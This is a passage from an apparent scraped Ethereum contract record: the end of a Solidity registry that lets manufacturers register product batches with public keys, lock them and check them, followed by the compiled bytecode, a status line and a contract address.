address(0)); require(msg.sender == mfrmapping[_mid].owner); mfrmapping[_mid].owner = _owner; emit Transfer(msg.sender, mfrmapping[_mid].mfr, _mid, _owner); return _mid; } /** * @dev Push(add) a batch. * * @param _mid Manufacturer ID * @param _bn Batch number * @param _key Public key * @return Batch ID */ function push(bytes32 _mid, string _bn, bytes _key) public returns (bytes32) { require(_mid != bytes32(0)); require(lengthOf(_bn) > 0); require(_key.length == 33 || _key.length == 65); require(mfrmapping[_mid].owner != address(0)); require(msg.sender == mfrmapping[_mid].owner); bytes32 bid = keccak256(bytes(_bn)); require(lengthOf(mfrmapping[_mid].batchmapping[bid].bn) == 0); require(mfrmapping[_mid].batchmapping[bid].key.length == 0); require(mfrmapping[_mid].batchmapping[bid].lock == false); mfrmapping[_mid].bidcounter = mfrmapping[_mid].bidcounter.add(1); mfrmapping[_mid].bidmapping[mfrmapping[_mid].bidcounter] = bid; mfrmapping[_mid].batchmapping[bid].bn = _bn; mfrmapping[_mid].batchmapping[bid].key = _key; mfrmapping[_mid].batchmapping[bid].lock = false; emit Push(msg.sender, mfrmapping[_mid].mfr, _mid, _bn, bid, _key); return bid; } /** * @dev Set(change) batch number of an unlocked batch. * * @param _mid Manufacturer ID * @param _bid Batch ID * @param _bn Batch number * @return Batch ID */ function setBn(bytes32 _mid, bytes32 _bid, string _bn) public returns (bytes32) { require(_mid != bytes32(0)); require(_bid != bytes32(0)); require(lengthOf(_bn) > 0); require(mfrmapping[_mid].owner != address(0)); require(msg.sender == mfrmapping[_mid].owner); bytes32 bid = keccak256(bytes(_bn)); require(bid != _bid); require(lengthOf(mfrmapping[_mid].batchmapping[_bid].bn) > 0); require(mfrmapping[_mid].batchmapping[_bid].key.length > 0); require(mfrmapping[_mid].batchmapping[_bid].lock == false); require(lengthOf(mfrmapping[_mid].batchmapping[bid].bn) == 0); require(mfrmapping[_mid].batchmapping[bid].key.length == 0); require(mfrmapping[_mid].batchmapping[bid].lock == false); uint256 counter = 0; for (uint256 i = 1; i <= mfrmapping[_mid].bidcounter; i++) { if (mfrmapping[_mid].bidmapping[i] == _bid) { counter = i; break; } } require(counter > 0); mfrmapping[_mid].bidmapping[counter] = bid; mfrmapping[_mid].batchmapping[bid].bn = _bn; mfrmapping[_mid].batchmapping[bid].key = mfrmapping[_mid].batchmapping[_bid].key; mfrmapping[_mid].batchmapping[bid].lock = false; delete mfrmapping[_mid].batchmapping[_bid]; emit SetBn(msg.sender, mfrmapping[_mid].mfr, _mid, _bn, bid, mfrmapping[_mid].batchmapping[bid].key); return bid; } /** * @dev Set(change) public key of an unlocked batch. * * @param _mid Manufacturer ID * @param _bid Batch ID * @param _key Public key * @return Batch ID */ function setKey(bytes32 _mid, bytes32 _bid, bytes _key) public returns (bytes32) { require(_mid != bytes32(0)); require(_bid != bytes32(0)); require(_key.length == 33 || _key.length == 65); require(mfrmapping[_mid].owner != address(0)); require(msg.sender == mfrmapping[_mid].owner); require(lengthOf(mfrmapping[_mid].batchmapping[_bid].bn) > 0); require(mfrmapping[_mid].batchmapping[_bid].key.length > 0); require(mfrmapping[_mid].batchmapping[_bid].lock == false); mfrmapping[_mid].batchmapping[_bid].key = _key; emit SetKey(msg.sender, mfrmapping[_mid].mfr, _mid, mfrmapping[_mid].batchmapping[_bid].bn, _bid, _key); return _bid; } /** * @dev Lock batch. Batch number and public key is unchangeable after it is locked. * * @param _mid Manufacturer ID * @param _bid Batch ID * @return Batch ID */ function lock(bytes32 _mid, bytes32 _bid) public returns (bytes32) { require(_mid != bytes32(0)); require(_bid != bytes32(0)); require(mfrmapping[_mid].owner != address(0)); require(msg.sender == mfrmapping[_mid].owner); require(lengthOf(mfrmapping[_mid].batchmapping[_bid].bn) > 0); require(mfrmapping[_mid].batchmapping[_bid].key.length > 0); mfrmapping[_mid].batchmapping[_bid].lock = true; emit Lock(msg.sender, mfrmapping[_mid].mfr, _mid, mfrmapping[_mid].batchmapping[_bid].bn, _bid, mfrmapping[_mid].batchmapping[_bid].key); return _bid; } /** * @dev Check batch by its batch ID and public key. * * @param _mid Manufacturer ID * @param _bid Batch ID * @param _key Public key * @return True or false */ function check(bytes32 _mid, bytes32 _bid, bytes _key) public view returns (bool) { if (mfrmapping[_mid].batchmapping[_bid].key.length != _key.length) { return false; } for (uint256 i = 0; i < _key.length; i++) { if (mfrmapping[_mid].batchmapping[_bid].key[i] != _key[i]) { return false; } } return true; } /** * @dev Get total number of manufacturers. * * @return Total number of manufacturers */ function totalMfr() public view returns (uint256) { return midcounter; } /** * @dev Get manufacturer ID. * * @param _midcounter Storage index counter of midmapping * @return Manufacturer ID */ function midOf(uint256 _midcounter) public view returns (bytes32) { return midmapping[_midcounter]; } /** * @dev Get manufacturer owner. * * @param _mid Manufacturer ID * @return Manufacturer owner */ function ownerOf(bytes32 _mid) public view returns (address) { return mfrmapping[_mid].owner; } /** * @dev Get manufacturer name. * * @param _mid Manufacturer ID * @return Manufacturer name (Uppercase) */ function mfrOf(bytes32 _mid) public view returns (string) { return mfrmapping[_mid].mfr; } /** * @dev Get total batch number of a manufacturer. * * @param _mid Manufacturer ID * @return Total batch number */ function totalBatchOf(bytes32 _mid) public view returns (uint256) { return mfrmapping[_mid].bidcounter; } /** * @dev Get batch ID. * * @param _mid Manufacturer ID * @param _bidcounter Storage index counter of bidmapping * @return Batch ID */ function bidOf(bytes32 _mid, uint256 _bidcounter) public view returns (bytes32) { return mfrmapping[_mid].bidmapping[_bidcounter]; } /** * @dev Get batch number. * * @param _mid Manufacturer ID * @param _bid Batch ID * @return Batch number */ function bnOf(bytes32 _mid, bytes32 _bid) public view returns (string) { return mfrmapping[_mid].batchmapping[_bid].bn; } /** * @dev Get batch public key. * * @param _mid Manufacturer ID * @param _bid Batch ID * @return bytes Batch public key */ function keyOf(bytes32 _mid, bytes32 _bid) public view returns (bytes) { if (mfrmapping[_mid].batchmapping[_bid].lock == true) { return mfrmapping[_mid].batchmapping[_bid].key; } } /** * @dev Convert string to uppercase. * * @param _s String to convert * @return Converted string */ function uppercaseOf(string _s) internal pure returns (string) { bytes memory b1 = bytes(_s); uint256 l = b1.length; bytes memory b2 = new bytes(l); for (uint256 i = 0; i < l; i++) { if (b1[i] >= 0x61 && b1[i] <= 0x7A) { b2[i] = bytes1(uint8(b1[i]) - 32); } else { b2[i] = b1[i]; } } return string(b2); } /** * @dev Get string length. * * @param _s String * @return length */ function lengthOf(string _s) internal pure returns (uint256) { return bytes(_s).length; } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630a5de7bb146100e057806324378482146101295780634c0b2973146101e1578063535e401c1461028b57806367e8cd0f1461032857806379ce9fac1461037f5780637dd56411146103ec5780639314be9d1461045d57806395c6fa61146104b8578063b68e876014610570578063cd5acd4d14610611578063df2bf12b146106b2578063e75f6e21146106f7578063f2c298be14610722578063fb8621df146107a7575b600080fd5b3480156100ec57600080fd5b5061010b60048036038101908080359060200190929190505050610880565b60405180826000191660001916815260200191505060405180910390f35b34801561013557600080fd5b506101666004803603810190808035600019169060200190929190803560001916906020019092919050505061089d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b506102106004803603810190808035600019169060200190929190505050610979565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610250578082015181840152602081019050610235565b50505050905090810190601f16801561027d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029757600080fd5b5061030e60048036038101908080356000191690602001909291908035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610a38565b604051808215151515815260200191505060405180910390f35b34801561033457600080fd5b50610361600480360381019080803560001916906020019092919080359060200190929190505050610c0c565b60405180826000191660001916815260200191505060405180910390f35b34801561038b57600080fd5b506103ce6004803603810190808035600019169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c45565b60405180826000191660001916815260200191505060405180910390f35b3480156103f857600080fd5b5061041b6004803603810190808035600019169060200190929190505050610f22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046957600080fd5b5061049a60048036038101908080356000191690602001909291908035600019169060200190929190505050610f69565b60405180826000191660001916815260200191505060405180910390f35b3480156104c457600080fd5b506104f5600480360381019080803560001916906020019092919080356000191690602001909291905050506114bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053557808201518184015260208101905061051a565b50505050905090810190601f1680156105625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561057c57600080fd5b506105f360048036038101908080356000191690602001909291908035600019169060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506115f4565b60405180826000191660001916815260200191505060405180910390f35b34801561061d57600080fd5b5061069460048036038101908080356000191690602001909291908035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611f9c565b60405180826000191660001916815260200191505060405180910390f35b3480156106be57600080fd5b506106e1600480360381019080803560001916906020019092919050505061250f565b6040518082815260200191505060405180910390f35b34801561070357600080fd5b5061070c612536565b6040518082815260200191505060405180910390f35b34801561072e57600080fd5b50610789600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612540565b60405180826000191660001916815260200191505060405180910390f35b3480156107b357600080fd5b506108626004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061280f565b60405180826000191660001916815260200191505060405180910390f35b600060016000838152602001908152602001600020549050919050565b60606000808460001916600019168152602001908152602001600020600201600083600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561096c5780601f106109415761010080835404028352916020019161096c565b820191906000526020600020905b81548152906001019060200180831161094f57829003601f168201915b5050505050905092915050565b606060008083600019166000191681526020019081526020016000206001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a2c5780601f10610a0157610100808354040283529160200191610a2c565b820191906000526020600020905b815481529060010190602001808311610a0f57829003601f168201915b50505050509050919050565b6000808251600080876000191660001916815260200190815260200160002060020160008660001916600019168152602001908152602001600020600101805460018160011615610100020316600290049050141515610a9b5760009150610c04565b600090505b8251811015610bff578281815181101515610ab757fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916600080876000191660001916815260200190815260200160002060020160008660001916600019168152602001908152602001600020600101828154600181600116156101000203166002900481101515610b7b57fe5b815460011615610b9a5790600052602060002090602091828204019190065b9054901a7f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141515610bf25760009150610c04565b8080600101915050610aa0565b600191505b509392505050565b60008060008460001916600019168152602001908152602001600020600301600083815260200190815260200160002054905092915050565b60008060010260001916836000191614151515610c6157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c9d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600080856000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610d1657600080fd5b600080846000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8d57600080fd5b81600080856000191660001916815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f473e0d5a74394c578cb43fb7ba98020611a9076c7447dda8a2505362cf0defe360008086600019166000191681526020019081526020016000206001018585604051808060200184600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828103825285818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015610f095780601f10610ede57610100808354040283529160200191610f09565b820191906000526020600020905b815481529060010190602001808311610eec57829003601f168201915b505094505050505060405180910390a282905092915050565b6000806000836000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60008060010260001916836000191614151515610f8557600080fd5b600060010260001916826000191614151515610fa057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600080856000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561101957600080fd5b600080846000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561109057600080fd5b600061116c6000808660001916600019168152602001908152602001600020600201600085600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111625780601f1061113757610100808354040283529160200191611162565b820191906000526020600020905b81548152906001019060200180831161114557829003601f168201915b5050505050612ed7565b11151561117857600080fd5b60008060008560001916600019168152602001908152602001600020600201600084600019166000191681526020019081526020016000206001018054600181600116156101000203166002900490501115156111d457600080fd5b600160008085600019166000191681526020019081526020016000206002016000846000191660001916815260200190815260200160002060020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fd57468154f3ed7969c7ecace202f76b26c83e169cd8562acd262c33f96c2913f600080866000191660001916815260200190815260200160002060010185600080886000191660001916815260200190815260200160002060020160008760001916600019168152602001908152602001600020600001866000808a6000191660001916815260200190815260200160002060020160008960001916600019168152602001908152602001600020600101604051808060200186600019166000191681526020018060200185600019166000191681526020018060200184810384528981815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561139c5780601f106113715761010080835404028352916020019161139c565b820191906000526020600020905b81548152906001019060200180831161137f57829003601f168201915b505084810383528781815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561141f5780601f106113f45761010080835404028352916020019161141f565b820191906000526020600020905b81548152906001019060200180831161140257829003601f168201915b50508481038252858181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156114a25780601f10611477576101008083540402835291602001916114a2565b820191906000526020600020905b81548152906001019060200180831161148557829003601f168201915b50509850505050505050505060405180910390a281905092915050565b60606001151560008085600019166000191681526020019081526020016000206002016000846000191660001916815260200190815260200160002060020160009054906101000a900460ff16151514156115ed576000808460001916600019168152602001908152602001600020600201600083600019166000191681526020019081526020016000206001018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115e15780601f106115b6576101008083540402835291602001916115e1565b820191906000526020600020905b8154815290600101906020018083116115c457829003601f168201915b505050505090506115ee565b5b92915050565b60008060008060006001026000191687600019161415151561161557600080fd5b60006001026000191686600019161415151561163057600080fd5b600061163b86612ed7565b11151561164757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600080896000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156116c057600080fd5b600080886000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173757600080fd5b846040518082805190602001908083835b60208310151561176d5780518252602082019150602081019050602083039250611748565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020925085600019168360001916141515156117b357600080fd5b600061188f6000808a60001916600019168152602001908152602001600020600201600089600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118855780601f1061185a57610100808354040283529160200191611885565b820191906000526020600020905b81548152906001019060200180831161186857829003601f168201915b5050505050612ed7565b11151561189b57600080fd5b60008060008960001916600019168152602001908152602001600020600201600088600019166000191681526020019081526020016000206001018054600181600116156101000203166002900490501115156118f757600080fd5b6000151560008089600019166000191681526020019081526020016000206002016000886000191660001916815260200190815260200160002060020160009054906101000a900460ff16151514151561195057600080fd5b6000611a2c6000808a60001916600019168152602001908152602001600020600201600086600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a225780601f106119f757610100808354040283529160200191611a22565b820191906000526020600020905b815481529060010190602001808311611a0557829003601f168201915b5050505050612ed7565b141515611a3857600080fd5b6000806000896000191660001916815260200190815260200160002060020160008560001916600019168152602001908152602001600020600101805460018160011615610100020316600290049050141515611a9457600080fd5b6000151560008089600019166000191681526020019081526020016000206002016000856000191660001916815260200190815260200160002060020160009054906101000a900460ff161515141515611aed57600080fd5b60009150600190505b60008088600019166000191681526020019081526020016000206004015481111515611b6f5785600019166000808960001916600019168152602001908152602001600020600301600083815260200190815260200160002054600019161415611b6257809150611b6f565b8080600101915050611af6565b600082111515611b7e57600080fd5b82600080896000191660001916815260200190815260200160002060030160008481526020019081526020016000208160001916905550846000808960001916600019168152602001908152602001600020600201600085600019166000191681526020019081526020016000206000019080519060200190611c02929190613235565b506000808860001916600019168152602001908152602001600020600201600087600019166000191681526020019081526020016000206001016000808960001916600019168152602001908152602001600020600201600085600019166000191681526020019081526020016000206001019080546001816001161561010002031660029004611c949291906132b5565b50600080600089600019166000191681526020019081526020016000206002016000856000191660001916815260200190815260200160002060020160006101000a81548160ff02191690831515021790555060008088600019166000191681526020019081526020016000206002016000876000191660001916815260200190815260200160002060008082016000611d2e919061333c565b600182016000611d3e9190613384565b6002820160006101000a81549060ff021916905550503373ffffffffffffffffffffffffffffffffffffffff167ffc15681ee27905d75d44ba713f21ddec0df5d6b6043fed635c7b289091a275946000808a600019166000191681526020019081526020016000206001018988876000808e6000191660001916815260200190815260200160002060020160008a600019166000191681526020019081526020016000206001016040518080602001866000191660001916815260200180602001856000191660001916815260200180602001848103845289818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611e925780601f10611e6757610100808354040283529160200191611e92565b820191906000526020600020905b815481529060010190602001808311611e7557829003601f168201915b5050848103835287818151815260200191508051906020019080838360005b83811015611ecc578082015181840152602081019050611eb1565b50505050905090810190601f168015611ef95780820380516001836020036101000a031916815260200191505b50848103825285818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015611f7b5780601f10611f5057610100808354040283529160200191611f7b565b820191906000526020600020905b815481529060010190602001808311611f5e57829003601f168201915b50509850505050505050505060405180910390a28293505050509392505050565b60008060010260001916846000191614151515611fb857600080fd5b600060010260001916836000191614151515611fd357600080fd5b602182511480611fe4575060418251145b1515611fef57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600080866000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561206857600080fd5b600080856000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120df57600080fd5b60006121bb6000808760001916600019168152602001908152602001600020600201600086600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121b15780601f10612186576101008083540402835291602001916121b1565b820191906000526020600020905b81548152906001019060200180831161219457829003601f168201915b5050505050612ed7565b1115156121c757600080fd5b600080600086600019166000191681526020019081526020016000206002016000856000191660001916815260200190815260200160002060010180546001816001161561010002031660029004905011151561222357600080fd5b6000151560008086600019166000191681526020019081526020016000206002016000856000191660001916815260200190815260200160002060020160009054906101000a900460ff16151514151561227c57600080fd5b8160008086600019166000191681526020019081526020016000206002016000856000191660001916815260200190815260200160002060010190805190602001906122c99291906133cc565b503373ffffffffffffffffffffffffffffffffffffffff167f23b650cc52d306a7c101790a4a4f54d79f5e6dad469234b863ebc667dbc25dcf600080876000191660001916815260200190815260200160002060010186600080896000191660001916815260200190815260200160002060020160008860001916600019168152602001908152602001600020600001878760405180806020018660001916600019168152602001806020018560001916600019168152602001806020018481038452898181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156124085780601f106123dd57610100808354040283529160200191612408565b820191906000526020600020905b8154815290600101906020018083116123eb57829003601f168201915b505084810383528781815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561248b5780601f106124605761010080835404028352916020019161248b565b820191906000526020600020905b81548152906001019060200180831161246e57829003601f168201915b5050848103825285818151815260200191508051906020019080838360005b838110156124c55780820151818401526020810190506124aa565b50505050905090810190601f1680156124f25780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390a28290509392505050565b60008060008360001916600019168152602001908152602001600020600401549050919050565b6000600254905090565b600080600061254e84612ed7565b11151561255a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561259657600080fd5b61259f83612ee2565b6040518082805190602001908083835b6020831015156125d457805182526020820191506020810190506020830392506125af565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390209050600073ffffffffffffffffffffffffffffffffffffffff16600080836000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561267b57600080fd5b612691600160025461321990919063ffffffff16565b60028190555080600160006002548152602001908152602001600020816000191690555033600080836000191660001916815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508260008083600019166000191681526020019081526020016000206001019080519060200190612742929190613235565b503373ffffffffffffffffffffffffffffffffffffffff167fea5edccc016dea55d85dab11dad4bfd157aa248af45a324abfedf8e32d2399f2848360405180806020018360001916600019168152602001828103825284818151815260200191508051906020019080838360005b838110156127cb5780820151818401526020810190506127b0565b50505050905090810190601f1680156127f85780820380516001836020036101000a031916815260200191505b50935050505060405180910390a280915050919050565b60008060006001026000191685600019161415151561282d57600080fd5b600061283885612ed7565b11151561284457600080fd5b602183511480612855575060418351145b151561286057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600080876000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156128d957600080fd5b600080866000191660001916815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561295057600080fd5b836040518082805190602001908083835b6020831015156129865780518252602082019150602081019050602083039250612961565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902090506000612a916000808860001916600019168152602001908152602001600020600201600084600019166000191681526020019081526020016000206000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a875780601f10612a5c57610100808354040283529160200191612a87565b820191906000526020600020905b815481529060010190602001808311612a6a57829003601f168201915b5050505050612ed7565b141515612a9d57600080fd5b6000806000876000191660001916815260200190815260200160002060020160008360001916600019168152602001908152602001600020600101805460018160011615610100020316600290049050141515612af957600080fd5b6000151560008087600019166000191681526020019081526020016000206002016000836000191660001916815260200190815260200160002060020160009054906101000a900460ff161515141515612b5257600080fd5b612b83600160008088600019166000191681526020019081526020016000206004015461321990919063ffffffff16565b600080876000191660001916815260200190815260200160002060040181905550806000808760001916600019168152602001908152602001600020600301600080600089600019166000191681526020019081526020016000206004015481526020019081526020016000208160001916905550836000808760001916600019168152602001908152602001600020600201600083600019166000191681526020019081526020016000206000019080519060200190612c45929190613235565b50826000808760001916600019168152602001908152602001600020600201600083600019166000191681526020019081526020016000206001019080519060200190612c939291906133cc565b50600080600087600019166000191681526020019081526020016000206002016000836000191660001916815260200190815260200160002060020160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167fba5c8b6da0097462ec5facd4c7dbe62ec3def329d9a30e8411f78eb8c7219d226000808860001916600019168152602001908152602001600020600101878785886040518080602001866000191660001916815260200180602001856000191660001916815260200180602001848103845289818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612dec5780601f10612dc157610100808354040283529160200191612dec565b820191906000526020600020905b815481529060010190602001808311612dcf57829003601f168201915b5050848103835287818151815260200191508051906020019080838360005b83811015612e26578082015181840152602081019050612e0b565b50505050905090810190601f168015612e535780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b83811015612e8c578082015181840152602081019050612e71565b50505050905090810190601f168015612eb95780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390a2809150509392505050565b600081519050919050565b60608060006060600085935083519250826040519080825280601f01601f191660200182016040528015612f255781602001602082028038833980820191505090505b509150600090505b8281101561320d5760617f0100000000000000000000000000000000000000000000000000000000000000028482815181101515612f6757fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161015801561307f5750607a7f010000000000000000000000000000000000000000000000000000000000000002848281518110151561300f57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b15613168576020848281518110151561309457fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f01000000000000000000000000000000000000000000000000000000000000009004037f010000000000000000000000000000000000000000000000000000000000000002828281518110151561313357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350613200565b838181518110151561317657fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f01000000000000000000000000000000000000000000000000000000000000000282828151811015156131cf57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053505b8080600101915050612f2d565b81945050505050919050565b6000818301905082811015151561322c57fe5b80905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061327657805160ff19168380011785556132a4565b828001600101855582156132a4579182015b828111156132a3578251825591602001919060010190613288565b5b5090506132b1919061344c565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106132ee578054855561332b565b8280016001018555821561332b57600052602060002091601f016020900482015b8281111561332a57825482559160010191906001019061330f565b5b509050613338919061344c565b5090565b50805460018160011615610100020316600290046000825580601f106133625750613381565b601f016020900490600052602060002090810190613380919061344c565b5b50565b50805460018160011615610100020316600290046000825580601f106133aa57506133c9565b601f0160209004906000526020600020908101906133c8919061344c565b5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061340d57805160ff191683800117855561343b565b8280016001018555821561343b579182015b8281111561343a57825182559160200191906001019061341f565b5b509050613448919061344c565b5090565b61346e91905b8082111561346a576000816000905550600101613452565b5090565b905600a165627a7a7230582017298903ddf2304daa22c40fc7bd5c5c5c25d6c116f82bc7c285c3e14625a9770029
{"success": true, "error": null, "results": {}}
7,675
0x385f4fbcb7f88c5b409a2e9a0db3cb70377dcf2e
